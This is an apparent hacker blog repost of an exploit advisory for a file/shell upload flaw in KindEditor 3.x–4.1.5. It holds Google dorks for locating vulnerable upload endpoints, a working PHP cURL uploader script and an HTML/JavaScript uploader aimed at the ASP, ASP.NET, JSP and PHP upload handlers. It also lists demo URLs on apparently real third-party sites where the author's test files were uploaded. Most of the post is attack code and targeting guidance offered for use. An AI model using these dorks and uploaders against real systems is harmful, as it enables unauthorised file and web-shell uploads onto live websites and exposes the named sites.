Translate

Senin, 04 November 2013

0 KindEditor (v.3.x->4.1.5) <= Multiple File/Shell Upload Vulnerability

Date: Senin, 04 November 2013 05.50
Category:
Author: Banj4rnymouz
Share:
Responds: 0 Comment
Banj4rnymouz@gmail.com
# Exploit database separated by exploit 0
# type (local, remote, DoS, etc.) 1
[+] Support e-mail : banj4rnymouz@gmail.com
 ################################################
 Banj4rnymouz.blogspot.com | Banj4rnymouz@gmail.com
 ################################################
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-

###
# Title : KindEditor (v.3.x->4.1.5) <= File/Shell Upload Vulnerability
# Author : Banj4rnymouz
# E-mail : banj4rnymouz@gmail.com
#Twitter: @banj4rnymouz
# Web Site : www.banj4rnymouz.blogspot.com
# Friendly Sites : www.forum-citer.blogspot.com
# Platform/CatID : php - remote - Multiple
# Type : php - proof of concept - webapp 0day
# Tested on : Windows7
# Download : [http://code.google.com/p/kindeditor/downloads/detail?name=kindeditor-4.1.5.zip]
# Vendor : [http://www.kindsoft.net/]
###

# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !

######## [ Proof / Exploit ] ################|=>

# Description :
---------------
- This bug in ( KindEditor ) you can upload remote files ( .txt .html ...etc )
with multiple JSON upload langs type ( PHP / ASP / JSP / ASP.NET )
this bug found in old versions by some author , but is still work is latest version .

- Latest V. is ( 4.1.5 ) , Released on ( Jan 19, 2013 )

- old poc : (http://www.devilscafe.in/2012/01/kindedior-remote-file-upload-exploit.html)

# Google Dork :
---------------
allinurl:/examples/uploadbutton.html
allinurl:/php/upload_json.php / .asp / .jsp

# KindEditor PHP_JSON Uploader
------------------------------

<?php

$uploadfile="KedAns.txt";
$ch = curl_init("http://[Target]/[path]/kindeditor/php/upload_json.php?dir=file");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('imgFile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

# KindEditor (ASP,ASP.NET,JSP,PHP) _JSON Uploader :
--------------------------------------------------

- Change the Uploader by ( LANG / PATH ) and use this HTML Uploader

/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php

<html><head>
<title>Uploader By KedAns-Dz</title>
<script src="http://[Target]/kindeditor/kindeditor-min.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://[Target]/kindeditor/php/upload_json.asp?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>

# Find u'r file in /attached/file/[Upl_Date]/{RaW_File_Name}.*


# Demo's :

http://segrain.com//kindeditor/examples/uploadbutton.htmlhttp://segrain.com//kindeditor/attached/file/20130310/20130310190436_69175.txt
http://shanshuivilla.com/web/Public/kindeditor/examples/uploadbutton.htmlhttp://shanshuivilla.com/web/Public/kindeditor/attached/file/20130311/20130311000359_44260.txt
# Sp. GreetS t0 : JokerTeamChild , Indonesia Cyber Army , Jkt48 Cyber Team

#================[ Banj4rnymouz=====================================


Artikel Terkait :



:)) ;));;) :D ;) :p :(( :) :( :X =((:-o :-/ :-* :| 8-} :)] ~x( :-t b-(:-L x( :-q =))

Posting Komentar

Visitor